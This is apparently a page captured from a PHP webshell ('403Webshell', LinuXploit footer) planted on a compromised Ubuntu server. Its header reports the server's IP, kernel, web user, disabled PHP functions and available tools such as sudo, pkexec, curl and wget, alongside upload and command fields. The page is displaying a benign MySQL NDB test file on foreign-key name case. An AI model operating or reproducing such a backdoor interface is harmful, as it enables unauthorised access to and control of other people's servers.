403Webshell
Server IP : 172.67.216.182  /  Your IP : 172.68.242.42
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/ndb/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/ndb/t/ndb_fk_locase.test
--source include/have_ndb.inc

--disable_query_log
CREATE TEMPORARY TABLE IF NOT EXISTS ndb_show_tables_results (
  id INT,
  type VARCHAR(20),
  state VARCHAR(20),
  logging VARCHAR(20),
  _database VARCHAR(255),
  _schema VARCHAR(20),
  name VARCHAR(255)
);
--enable_query_log

select @@global.lower_case_table_names;

--echo # test FK name is stored lower case

create table T1 (
  a int primary key
) engine=ndb;

insert into t1 values (1);

create table T2 (
  a int primary key,
  b int,
  foreign key myFK1 (a) references t1 (a),
  key XB (b)
) engine=ndb;

alter table T2
  add constraint foreign key MYfk2 (b) references test.t1 (a);

show create table t2;

--error ER_NO_REFERENCED_ROW_2
insert into t2 values (2,1);
--error ER_NO_REFERENCED_ROW_2
insert into t2 values (1,2);

--source ndb_show_tables_result.inc

select count(*) from ndb_show_tables_results
where type = "'UserTable'" and name in ( "'t1'", "'t2'");

select count(*) from ndb_show_tables_results
where type = "'ForeignKey'" and name like "'%myfk%'";

alter table T2
  drop foreign key MYfk1;

alter table t2
  drop foreign key myFK2,
  algorithm=copy;

show create table t2;

--echo # test upper case parent database and table

drop table T2;

create table T2 (
  a int primary key,
  b int,
  foreign key myFK1 (a) references T1 (a),
  key XB (b)
) engine=ndb;

alter table T2
  add constraint foreign key MYfk2 (b) references TEST.T1 (a);

show create table t2;

--error ER_NO_REFERENCED_ROW_2
insert into t2 values (2,1);
--error ER_NO_REFERENCED_ROW_2
insert into t2 values (1,2);

drop table t2,t1;

Youez - 2016 - github.com/yon3zu
LinuXploit